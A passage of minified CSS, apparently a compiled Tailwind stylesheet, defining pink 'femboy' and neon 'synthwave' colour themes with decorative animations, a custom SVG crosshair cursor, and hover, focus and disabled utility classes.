.bg-zinc-500{background-color:#c9a0b5!important}.femboy-theme .text-zerin-text{color:var(--fem-text)!important}.femboy-theme .text-zerin-text-dim{color:var(--fem-text-dim)!important}.femboy-theme .text-zerin-text-muted{color:var(--fem-text-muted)!important}.femboy-theme .text-zerin-accent{color:var(--fem-accent)!important}.femboy-theme .text-zerin-accent-hover{color:var(--fem-accent-hover)!important}.femboy-theme .text-zerin-accent-dim{color:var(--fem-accent-dim)!important}.femboy-theme .text-zerin-danger{color:#e8195e!important}.femboy-theme .text-zinc-400{color:#9a6080!important}.femboy-theme .text-zinc-500{color:#b07898!important}.femboy-theme .text-zinc-300{color:#7a2855!important}.femboy-theme .hover\:text-zerin-text:hover{color:var(--fem-text)!important}.femboy-theme .hover\:text-zerin-text-dim:hover{color:var(--fem-text-dim)!important}.femboy-theme .hover\:text-zerin-accent:hover{color:var(--fem-accent)!important}.femboy-theme .hover\:text-zerin-danger:hover{color:#ff1493!important}.femboy-theme .group:hover .group-hover\:text-zerin-accent{color:var(--fem-accent)!important}.femboy-theme .group:hover .group-hover\:text-zerin-text-dim{color:var(--fem-text-dim)!important}.femboy-theme .border-zerin-panel-border{border-color:var(--fem-border)!important}.femboy-theme .border-zerin-panel-border-hover,.femboy-theme .hover\:border-zerin-panel-border-hover:hover{border-color:var(--fem-border-hover)!important}.femboy-theme .border-zerin-accent{border-color:var(--fem-accent)!important}.femboy-theme .border-zerin-accent\/20,.femboy-theme .border-zerin-accent\/25{border-color:#ff69b438!important}.femboy-theme .hover\:border-zerin-accent\/30:hover{border-color:#ff69b44d!important}.femboy-theme .border-zinc-700{border-color:#f0c0d8!important}.femboy-theme .border-zinc-800{border-color:#f5d0e2!important}.femboy-theme .divide-zerin-panel-border>:not([hidden])~:not([hidden]){border-color:var(--fem-border)!important}.femboy-theme .focus\:border-zerin-accent:focus{border-color:var(--fem-accent)!important}.femboy-theme .focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgba(255, 105, 180, .3) !important}.femboy-theme .custom-scrollbar::-webkit-scrollbar-thumb{background:#ffb8d4}.femboy-theme .custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#ff9ec4}.femboy-theme .custom-scrollbar{scrollbar-color:#ffb8d4 transparent}.femboy-theme .form-input{background-color:var(--fem-bg)!important;border-color:var(--fem-border)!important;color:var(--fem-text)!important}.femboy-theme .form-input:focus{border-color:var(--fem-accent)!important;--tw-ring-color: rgba(255, 105, 180, .3) !important}.femboy-theme .form-input::-moz-placeholder{color:var(--fem-text-muted)!important}.femboy-theme .form-input::placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-card{background:var(--fem-panel)!important;border-color:var(--fem-border)!important}.femboy-theme .auth-card:hover{border-color:#ff69b426!important}.femboy-theme .auth-corner-tl,.femboy-theme .auth-corner-tr,.femboy-theme .auth-corner-bl,.femboy-theme .auth-corner-br{border-color:#ff69b480!important}.femboy-theme .auth-scanline{background:linear-gradient(90deg,transparent 0%,rgba(255,105,180,.3) 20%,rgba(255,105,180,.5) 50%,rgba(255,105,180,.3) 80%,transparent 100%)!important;box-shadow:0 0 8px #ff69b426!important}.femboy-theme .auth-input{background:var(--fem-bg)!important;border-color:var(--fem-border)!important;color:var(--fem-text)!important}.femboy-theme .auth-input::-moz-placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-input::placeholder{color:var(--fem-text-muted)!important}.femboy-theme .auth-input:focus{border-color:#ff69b4!important;box-shadow:0 0 0 3px #ff69b426,inset 0 0 12px #ff69b40d!important}.femboy-theme .auth-input-wrap:focus-within:before{background:var(--fem-accent)!important;box-shadow:0 0 8px #ff69b466!important}.femboy-theme .auth-submit{background:linear-gradient(135deg,#d4508f,#ff69b4,#ff8cc8)!important}.femboy-theme .auth-status-dot{background:var(--fem-accent)!important}.femboy-theme .auth-badge-glow{box-shadow:0 0 4px #ff69b41a,inset 0 0 4px #ff69b40d!important;border-color:#ff69b44d!important}.femboy-theme nav a{transition:transform .2s cubic-bezier(.34,1.56,.64,1),color .15s,background-color .15s!important}.femboy-theme nav a:hover{transform:translate(3px) scale(1.02)}.femboy-logo-glow{text-shadow:0 0 10px rgba(255,105,180,.4),0 0 20px rgba(255,105,180,.15)}.femboy-ear{position:absolute;width:0;height:0;border-left:9px solid transparent;border-right:9px solid transparent;border-bottom:16px solid #ff69b4;filter:drop-shadow(0 0 6px rgba(255,105,180,.5));z-index:10}.femboy-ear:after{content:"";position:absolute;top:4px;left:-5px;width:0;height:0;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:9px solid #ff1493}.femboy-ear-left{top:-14px;left:-2px;transform:rotate(-12deg)}.femboy-ear-right{top:-14px;left:32px;transform:rotate(12deg)}@keyframes floatPaw{0%{transform:translateY(0) rotate(0) scale(1);opacity:0}8%{opacity:.35}50%{transform:translateY(-50vh) rotate(90deg) scale(.85);opacity:.2}92%{opacity:0}to{transform:translateY(-105vh) rotate(200deg) scale(.5);opacity:0}}.femboy-paw{position:fixed;bottom:-40px;pointer-events:none;z-index:9999;animation:floatPaw linear infinite;will-change:transform,opacity}@keyframes femConfetti{0%{transform:translate(0) rotate(0) scale(1);opacity:1}70%{opacity:.8}to{transform:translate(var(--fem-dx),var(--fem-dy)) rotate(var(--fem-rot)) scale(.2);opacity:0}}@keyframes femSpark{0%{transform:scale(0) rotate(0);opacity:1}40%{transform:scale(1.2) rotate(120deg);opacity:.9}to{transform:scale(0) rotate(360deg);opacity:0}}.femboy-sparkle{position:fixed;clip-path:polygon(50% 0%,61% 35%,98% 35%,68% 57%,79% 91%,50% 70%,21% 91%,32% 57%,2% 35%,39% 35%);pointer-events:none;z-index:100000;animation:femSpark .9s ease-out forwards}.femboy-theme aside{border-right-color:var(--fem-border)!important;box-shadow:2px 0 20px #ff69b414}@keyframes femBadgeShimmer{0%,to{opacity:.7}50%{opacity:1;text-shadow:0 0 6px rgba(255,105,180,.4)}}.femboy-badge{animation:femBadgeShimmer 2s ease-in-out infinite}.femboy-theme nav a .bg-zerin-accent,.femboy-theme nav a span[class*=bg-zerin-accent]{background-color:var(--fem-accent)!important}.femboy-theme .bg-\[\#09090B\]{background-color:var(--fem-bg)!important}.femboy-theme .bg-\[\#0C0C0E\]{background-color:var(--fem-bg-alt)!important}.femboy-theme .bg-\[\#111113\]{background-color:var(--fem-panel)!important}.femboy-theme .bg-\[\#04040a\]{background-color:#fff8fa!important}.femboy-theme .bg-\[\#08080c\]{background-color:var(--fem-bg)!important}.femboy-theme .border-\[\#1a1a22\],.femboy-theme .border-\[\#1F1F23\]{border-color:var(--fem-border)!important}.femboy-theme .hover\:border-\[\#2a2a33\]:hover{border-color:var(--fem-border-hover)!important}@keyframes femHeartFloat{0%{transform:translate(0) scale(1) rotate(0);opacity:.9}to{transform:translate(var(--fem-hx, 0px),-40px) scale(.3) rotate(var(--fem-hr, 20deg));opacity:0}}.femboy-heart-trail{position:fixed;pointer-events:none;z-index:99998;animation:femHeartFloat .7s ease-out forwards;will-change:transform,opacity;font-size:12px;line-height:1}@keyframes femKaomojiDrift{0%{transform:translate(0) translateY(0) rotate(0);opacity:0}10%{opacity:.6}90%{opacity:.6}to{transform:translate(30px) translateY(-60px) rotate(8deg);opacity:0}}.femboy-kaomoji{position:fixed;pointer-events:none;z-index:99997;font-size:13px;color:#ff69b4;font-family:var(--font-mono),monospace;animation:femKaomojiDrift 3s ease-in-out forwards;text-shadow:0 0 8px rgba(255,105,180,.3)}.synthwave-theme{--synth-bg: #0D001A;--synth-bg-alt: #120024;--synth-panel: #1A0033;--synth-panel-hover: #24004D;--synth-border: #3D0066;--synth-border-hover: #5C0099;--synth-accent: #FF2D95;--synth-accent-hover: #FF5CAF;--synth-accent-dim: #CC0066;--synth-cyan: #00F0FF;--synth-text: #F0E6FF;--synth-text-dim: #C8A8E8;--synth-text-muted: #7B5299}.synthwave-theme,.synthwave-theme *{cursor:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='24' height='24' viewBox='0 0 24 24'%3E%3Cline x1='12' y1='0' x2='12' y2='9' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='12' y1='15' x2='12' y2='24' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='0' y1='12' x2='9' y2='12' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Cline x1='15' y1='12' x2='24' y2='12' stroke='%2300F0FF' stroke-width='1.5' opacity='0.8'/%3E%3Ccircle cx='12' cy='12' r='3' fill='none' stroke='%23FF2D95' stroke-width='1' opacity='0.9'/%3E%3C/svg%3E") 12 12,crosshair!important}.synthwave-theme ::-moz-selection{background:#ff2d9559!important;color:#fff!important}.synthwave-theme ::selection{background:#ff2d9559!important;color:#fff!important}.synthwave-theme :focus-visible{outline-color:#00f0ff99!important}.synthwave-theme body{background-color:var(--synth-bg)!important;color:var(--synth-text)!important}.synthwave-theme .bg-zerin-bg{background-color:var(--synth-bg)!important}.synthwave-theme .bg-zerin-bg-alt{background-color:var(--synth-bg-alt)!important}.synthwave-theme .bg-zerin-panel{background-color:var(--synth-panel)!important}.synthwave-theme .bg-zerin-panel-hover,.synthwave-theme .hover\:bg-zerin-panel-hover:hover{background-color:var(--synth-panel-hover)!important}.synthwave-theme .bg-zerin-accent{background-color:var(--synth-accent)!important}.synthwave-theme .bg-zerin-accent-hover{background-color:var(--synth-accent-hover)!important}.synthwave-theme .bg-zerin-accent-dim{background-color:var(--synth-accent-dim)!important}.synthwave-theme .bg-zerin-accent-muted,.synthwave-theme .bg-zerin-accent-muted\/10{background-color:#ff2d951f!important}.synthwave-theme .bg-zerin-danger-dim{background-color:#ff00501a!important}.synthwave-theme .hover\:bg-zerin-danger-dim:hover{background-color:#ff00502e!important}.synthwave-theme .bg-zinc-600{background-color:#4d1a66!important}.synthwave-theme .bg-zinc-700{background-color:#3d0066!important}.synthwave-theme .bg-zinc-500{background-color:#5c2680!important}.synthwave-theme .text-zerin-text{color:var(--synth-text)!important}.synthwave-theme .text-zerin-text-dim{color:var(--synth-text-dim)!important}.synthwave-theme .text-zerin-text-muted{color:var(--synth-text-muted)!important}.synthwave-theme .text-zerin-accent{color:var(--synth-accent)!important}.synthwave-theme .text-zerin-accent-hover{color:var(--synth-accent-hover)!important}.synthwave-theme .text-zerin-accent-dim{color:var(--synth-accent-dim)!important}.synthwave-theme .text-zerin-danger{color:#f36!important}.synthwave-theme .text-zinc-400{color:#96c!important}.synthwave-theme .text-zinc-500{color:#7b5299!important}.synthwave-theme .text-zinc-300{color:#c8a8e8!important}.synthwave-theme .hover\:text-zerin-text:hover{color:var(--synth-text)!important}.synthwave-theme .hover\:text-zerin-text-dim:hover{color:var(--synth-text-dim)!important}.synthwave-theme .hover\:text-zerin-accent:hover{color:var(--synth-accent)!important}.synthwave-theme .hover\:text-zerin-danger:hover{color:#f36!important}.synthwave-theme .group:hover .group-hover\:text-zerin-accent{color:var(--synth-accent)!important}.synthwave-theme .group:hover .group-hover\:text-zerin-text-dim{color:var(--synth-text-dim)!important}.synthwave-theme .border-zerin-panel-border{border-color:var(--synth-border)!important}.synthwave-theme .border-zerin-panel-border-hover,.synthwave-theme .hover\:border-zerin-panel-border-hover:hover{border-color:var(--synth-border-hover)!important}.synthwave-theme .border-zerin-accent{border-color:var(--synth-accent)!important}.synthwave-theme .border-zerin-accent\/20,.synthwave-theme .border-zerin-accent\/25{border-color:#ff2d9540!important}.synthwave-theme .hover\:border-zerin-accent\/30:hover{border-color:#ff2d9559!important}.synthwave-theme .border-zinc-700{border-color:#3d0066!important}.synthwave-theme .border-zinc-800{border-color:#2a004d!important}.synthwave-theme .divide-zerin-panel-border>:not([hidden])~:not([hidden]){border-color:var(--synth-border)!important}.synthwave-theme .focus\:border-zerin-accent:focus{border-color:var(--synth-cyan)!important}.synthwave-theme .focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgba(0, 240, 255, .3) !important}.synthwave-theme .custom-scrollbar::-webkit-scrollbar-thumb{background:#5c0099}.synthwave-theme .custom-scrollbar::-webkit-scrollbar-thumb:hover{background:#7b00cc}.synthwave-theme .custom-scrollbar{scrollbar-color:#5C0099 transparent}.synthwave-theme .form-input{background-color:var(--synth-bg)!important;border-color:var(--synth-border)!important;color:var(--synth-text)!important}.synthwave-theme .form-input:focus{border-color:var(--synth-cyan)!important;--tw-ring-color: rgba(0, 240, 255, .25) !important;box-shadow:0 0 0 3px #00f0ff1a,0 0 12px #00f0ff0d!important}.synthwave-theme .form-input::-moz-placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .form-input::placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-card{background:var(--synth-panel)!important;border-color:var(--synth-border)!important;box-shadow:0 0 30px #ff2d9514,0 0 60px #00f0ff0a!important}.synthwave-theme .auth-card:hover{border-color:#ff2d9540!important}.synthwave-theme .auth-corner-tl,.synthwave-theme .auth-corner-tr{border-color:#00f0ff99!important}.synthwave-theme .auth-corner-bl,.synthwave-theme .auth-corner-br{border-color:#ff2d9599!important}.synthwave-theme .auth-scanline{background:linear-gradient(90deg,transparent 0%,rgba(0,240,255,.3) 20%,rgba(255,45,149,.5) 50%,rgba(0,240,255,.3) 80%,transparent 100%)!important;box-shadow:0 0 12px #ff2d9533!important}.synthwave-theme .auth-input{background:var(--synth-bg)!important;border-color:var(--synth-border)!important;color:var(--synth-text)!important}.synthwave-theme .auth-input::-moz-placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-input::placeholder{color:var(--synth-text-muted)!important}.synthwave-theme .auth-input:focus{border-color:var(--synth-cyan)!important;box-shadow:0 0 0 3px #00f0ff1f,inset 0 0 12px #00f0ff08!important}.synthwave-theme .auth-input-wrap:focus-within:before{background:var(--synth-cyan)!important;box-shadow:0 0 8px #00f0ff80!important}.synthwave-theme .auth-submit{background:linear-gradient(135deg,#c06,#ff2d95,#b026ff)!important}.synthwave-theme .auth-status-dot{background:var(--synth-cyan)!important}.synthwave-theme .auth-badge-glow{box-shadow:0 0 4px #00f0ff26,inset 0 0 4px #00f0ff0d!important;border-color:#00f0ff4d!important}.synthwave-theme aside{border-right-color:var(--synth-border)!important;box-shadow:2px 0 30px #ff2d951a,1px 0 #ff2d9533!important}.synthwave-theme nav a{transition:all .2s ease!important;position:relative}.synthwave-theme nav a:hover{text-shadow:0 0 8px rgba(255,45,149,.4)}.synthwave-theme nav a span[class*=bg-zerin-accent]{background-color:var(--synth-accent)!important;box-shadow:0 0 8px #ff2d9580}.synthwave-theme .border-zerin-panel-border{box-shadow:inset 0 0 0 .5px #ff2d950d}.synthwave-theme .font-display.text-zerin-text,.synthwave-theme .font-display.text-lg{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff,#b026ff)!important;-webkit-background-clip:text!important;-webkit-text-fill-color:transparent!important;background-clip:text!important;filter:drop-shadow(0 0 8px rgba(255,45,149,.4))}@keyframes synthBadgePulse{0%,to{text-shadow:0 0 4px rgba(0,240,255,.4);border-color:#00f0ff40}50%{text-shadow:0 0 10px rgba(0,240,255,.7);border-color:#00f0ff80}}.synthwave-theme .font-display .font-mono,.synthwave-theme span[class*=text-zerin-accent][class*=border]{color:var(--synth-cyan)!important;border-color:#00f0ff40!important;animation:synthBadgePulse 2.5s ease-in-out infinite}.synthwave-theme main.custom-scrollbar{background:linear-gradient(180deg,var(--synth-bg) 0%,#120024 100%),repeating-linear-gradient(90deg,rgba(255,45,149,.03) 0px,rgba(255,45,149,.03) 1px,transparent 1px,transparent 60px),repeating-linear-gradient(0deg,rgba(0,240,255,.02) 0px,rgba(0,240,255,.02) 1px,transparent 1px,transparent 60px)!important}.synthwave-theme .bg-\[\#09090B\]{background-color:var(--synth-bg)!important}.synthwave-theme .bg-\[\#0C0C0E\]{background-color:var(--synth-bg-alt)!important}.synthwave-theme .bg-\[\#111113\]{background-color:var(--synth-panel)!important}.synthwave-theme .bg-\[\#04040a\]{background-color:#08001a!important}.synthwave-theme .bg-\[\#08080c\]{background-color:var(--synth-bg)!important}.synthwave-theme .border-\[\#1a1a22\],.synthwave-theme .border-\[\#1F1F23\]{border-color:var(--synth-border)!important}.synthwave-theme .hover\:border-\[\#2a2a33\]:hover{border-color:var(--synth-border-hover)!important}.synthwave-logo-glow{background:linear-gradient(135deg,#ff2d95,#ff6b9d,#00f0ff 60%,#b026ff)!important;-webkit-background-clip:text!important;-webkit-text-fill-color:transparent!important;background-clip:text!important;filter:drop-shadow(0 0 10px rgba(255,45,149,.5)) drop-shadow(0 0 20px rgba(0,240,255,.3))}@keyframes synthBadgeGlow{0%,to{text-shadow:0 0 4px rgba(0,240,255,.5);box-shadow:0 0 4px #00f0ff1a,inset 0 0 4px #00f0ff0d}50%{text-shadow:0 0 10px rgba(0,240,255,.8);box-shadow:0 0 10px #00f0ff33,inset 0 0 6px #00f0ff1a}}.synthwave-badge{animation:synthBadgeGlow 2s ease-in-out infinite}@keyframes synthBurstLine{0%{opacity:0;transform:scaleX(0)}40%{opacity:1;transform:scaleX(1.1)}to{opacity:0;transform:scaleX(1)}}@keyframes synthBurstParticle{0%{transform:translate(0) scale(1);opacity:1}to{transform:translate(var(--synth-dx),var(--synth-dy)) scale(0);opacity:0}}@keyframes synthTrailFade{0%{transform:scale(1);opacity:.8}to{transform:scale(0);opacity:0}}.synthwave-trail{position:fixed;width:4px;height:4px;border-radius:50%;pointer-events:none;z-index:99998;animation:synthTrailFade .45s ease-out forwards;will-change:transform,opacity;margin-left:-2px;margin-top:-2px}@keyframes synthShapeFloat{0%{transform:translateY(0) rotate(0);opacity:0}10%{opacity:.3}50%{transform:translateY(-45vh) rotate(180deg);opacity:.15}to{transform:translateY(-100vh) rotate(360deg);opacity:0}}.synthwave-shape{position:fixed;bottom:-30px;pointer-events:none;z-index:9998;animation:synthShapeFloat 5.5s ease-in-out forwards;will-change:transform,opacity}.synthwave-theme aside:after{content:"";position:absolute;top:0;right:0;bottom:0;left:0;pointer-events:none;background:repeating-linear-gradient(0deg,transparent 0px,transparent 3px,rgba(0,240,255,.015) 3px,rgba(0,240,255,.015) 4px);z-index:1}.placeholder\:text-zerin-text-muted::-moz-placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.placeholder\:text-zerin-text-muted::placeholder{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.last\:border-b-0:last-child{border-bottom-width:0px}.hover\:translate-x-0\.5:hover{--tw-translate-x: .125rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.hover\:border-zerin-accent\/20:hover{border-color:#06b6d433}.hover\:border-zerin-accent\/30:hover{border-color:#06b6d44d}.hover\:border-zerin-accent\/40:hover{border-color:#06b6d466}.hover\:border-zerin-accent\/50:hover{border-color:#06b6d480}.hover\:border-zerin-panel-border-hover:hover{--tw-border-opacity: 1;border-color:rgb(39 39 42 / var(--tw-border-opacity, 1))}.hover\:border-zerin-text-muted:hover{--tw-border-opacity: 1;border-color:rgb(82 82 91 / var(--tw-border-opacity, 1))}.hover\:border-zerin-text-muted\/30:hover{border-color:#52525b4d}.hover\:bg-\[\#14141a\]:hover{--tw-bg-opacity: 1;background-color:rgb(20 20 26 / var(--tw-bg-opacity, 1))}.hover\:bg-\[\#1f1f25\]:hover{--tw-bg-opacity: 1;background-color:rgb(31 31 37 / var(--tw-bg-opacity, 1))}.hover\:bg-amber-700:hover{--tw-bg-opacity: 1;background-color:rgb(180 83 9 / var(--tw-bg-opacity, 1))}.hover\:bg-emerald-500:hover{--tw-bg-opacity: 1;background-color:rgb(16 185 129 / var(--tw-bg-opacity, 1))}.hover\:bg-emerald-500\/10:hover{background-color:#10b9811a}.hover\:bg-emerald-500\/15:hover{background-color:#10b98126}.hover\:bg-emerald-700:hover{--tw-bg-opacity: 1;background-color:rgb(4 120 87 / var(--tw-bg-opacity, 1))}.hover\:bg-orange-500\/15:hover{background-color:#f9731626}.hover\:bg-orange-500\/20:hover{background-color:#f9731633}.hover\:bg-orange-600:hover{--tw-bg-opacity: 1;background-color:rgb(234 88 12 / var(--tw-bg-opacity, 1))}.hover\:bg-purple-500\/10:hover{background-color:#a855f71a}.hover\:bg-purple-700:hover{--tw-bg-opacity: 1;background-color:rgb(126 34 206 / var(--tw-bg-opacity, 1))}.hover\:bg-red-500\/10:hover{background-color:#ef44441a}.hover\:bg-red-500\/15:hover{background-color:#ef444426}.hover\:bg-red-500\/20:hover{background-color:#ef444433}.hover\:bg-red-600:hover{--tw-bg-opacity: 1;background-color:rgb(220 38 38 / var(--tw-bg-opacity, 1))}.hover\:bg-white\/10:hover{background-color:#ffffff1a}.hover\:bg-zerin-accent-hover:hover{--tw-bg-opacity: 1;background-color:rgb(34 211 238 / var(--tw-bg-opacity, 1))}.hover\:bg-zerin-accent-muted:hover,.hover\:bg-zerin-accent\/10:hover{background-color:#06b6d41a}.hover\:bg-zerin-accent\/15:hover{background-color:#06b6d426}.hover\:bg-zerin-accent\/20:hover{background-color:#06b6d433}.hover\:bg-zerin-accent\/90:hover{background-color:#06b6d4e6}.hover\:bg-zerin-bg:hover{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.hover\:bg-zerin-danger-dim:hover{background-color:#ef444414}.hover\:bg-zerin-danger\/20:hover{background-color:#ef444433}.hover\:bg-zerin-panel-hover:hover{--tw-bg-opacity: 1;background-color:rgb(24 24 27 / var(--tw-bg-opacity, 1))}.hover\:bg-zerin-panel-hover\/50:hover{background-color:#18181b80}.hover\:bg-zinc-700:hover{--tw-bg-opacity: 1;background-color:rgb(63 63 70 / var(--tw-bg-opacity, 1))}.hover\:text-amber-400:hover{--tw-text-opacity: 1;color:rgb(251 191 36 / var(--tw-text-opacity, 1))}.hover\:text-orange-300:hover{--tw-text-opacity: 1;color:rgb(253 186 116 / var(--tw-text-opacity, 1))}.hover\:text-red-200:hover{--tw-text-opacity: 1;color:rgb(254 202 202 / var(--tw-text-opacity, 1))}.hover\:text-red-300:hover{--tw-text-opacity: 1;color:rgb(252 165 165 / var(--tw-text-opacity, 1))}.hover\:text-red-400:hover{--tw-text-opacity: 1;color:rgb(248 113 113 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent:hover{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent-hover:hover{--tw-text-opacity: 1;color:rgb(34 211 238 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent\/80:hover{color:#06b6d4cc}.hover\:text-zerin-danger:hover{--tw-text-opacity: 1;color:rgb(239 68 68 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text:hover{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text-dim:hover{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text-muted:hover{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.hover\:underline:hover{text-decoration-line:underline}.hover\:opacity-60:hover{opacity:.6}.hover\:opacity-80:hover{opacity:.8}.hover\:shadow-\[0_0_20px_rgba\(6\,182\,212\,0\.3\)\]:hover{--tw-shadow: 0 0 20px rgba(6,182,212,.3);--tw-shadow-colored: 0 0 20px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.hover\:shadow-\[0_0_24px_rgba\(6\,182\,212\,0\.3\)\]:hover{--tw-shadow: 0 0 24px rgba(6,182,212,.3);--tw-shadow-colored: 0 0 24px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.hover\:shadow-\[0_0_24px_rgba\(6\,182\,212\,0\.35\)\]:hover{--tw-shadow: 0 0 24px rgba(6,182,212,.35);--tw-shadow-colored: 0 0 24px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.hover\:shadow-\[0_0_30px_rgba\(6\,182\,212\,0\.3\)\]:hover{--tw-shadow: 0 0 30px rgba(6,182,212,.3);--tw-shadow-colored: 0 0 30px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.hover\:shadow-\[0_0_40px_rgba\(6\,182\,212\,0\.25\)\]:hover{--tw-shadow: 0 0 40px rgba(6,182,212,.25);--tw-shadow-colored: 0 0 40px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.focus\:border-\[\#10b981\]\/30:focus{border-color:#10b9814d}.focus\:border-\[\#8b5cf6\]\/30:focus{border-color:#8b5cf64d}.focus\:border-\[\#f59e0b\]\/30:focus{border-color:#f59e0b4d}.focus\:border-zerin-accent:focus{--tw-border-opacity: 1;border-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.focus\:border-zerin-accent\/30:focus{border-color:#06b6d44d}.focus\:border-zerin-accent\/40:focus{border-color:#06b6d466}.focus\:border-zerin-accent\/50:focus{border-color:#06b6d480}.focus\:border-zerin-danger:focus{--tw-border-opacity: 1;border-color:rgb(239 68 68 / var(--tw-border-opacity, 1))}.focus\:outline-none:focus{outline:2px solid transparent;outline-offset:2px}.focus\:ring-1:focus{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.focus\:ring-zerin-accent\/20:focus{--tw-ring-color: rgb(6 182 212 / .2)}.focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgb(6 182 212 / .3)}.focus\:ring-zerin-danger\/20:focus{--tw-ring-color: rgb(239 68 68 / .2)}.active\:scale-\[0\.99\]:active{--tw-scale-x: .99;--tw-scale-y: .99;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.disabled\:cursor-not-allowed:disabled{cursor:not-allowed}.disabled\:cursor-wait:disabled{cursor:wait}.disabled\:opacity-30:disabled{opacity:.3}.disabled\:opacity-40:disabled{opacity:.4}.disabled\:opacity-50:disabled{opacity:.5}.group:hover .group-hover\:w-4{width:1rem}.group:hover .group-hover\:w-full{width:100%}.group\/btn:hover .group-hover\/btn\:translate-x-full,.group:hover .group-hover\:translate-x-full{--tw-translate-x: 100%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:rotate-90{--tw-rotate: 90deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:scale-\[1\.02\]{--tw-scale-x: 1.02;--tw-scale-y: 1.02;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group\/layer:hover .group-hover\/layer\:border-zerin-panel-border-hover{--tw-border-opacity: 1;border-color:rgb(39 39 42 / var(--tw-border-opacity, 1))}.group:hover .group-hover\:border-zerin-accent\/20{border-color:#06b6d433}.group:hover .group-hover\:border-zerin-accent\/30{border-color:#06b6d44d}.group:hover .group-hover\:border-zerin-accent\/50{border-color:#06b6d480}.group:hover .group-hover\:border-zerin-text-muted\/30{border-color:#52525b4d}.group:hover .group-hover\:bg-zerin-accent{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))}.group:hover .group-hover\:bg-zerin-text-muted\/60{background-color:#52525b99}.group:hover .group-hover\:text-zerin-accent{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:text-zerin-text{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:text-zerin-text-dim{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:opacity-100{opacity:1}@media (min-width: 640px){.sm\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.sm\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.sm\:text-5xl{font-size:3rem;line-height:1}.sm\:text-6xl{font-size:3.75rem;line-height:1}.sm\:text-sm{font-size:.875rem;line-height:1.25rem}}@media (min-width: 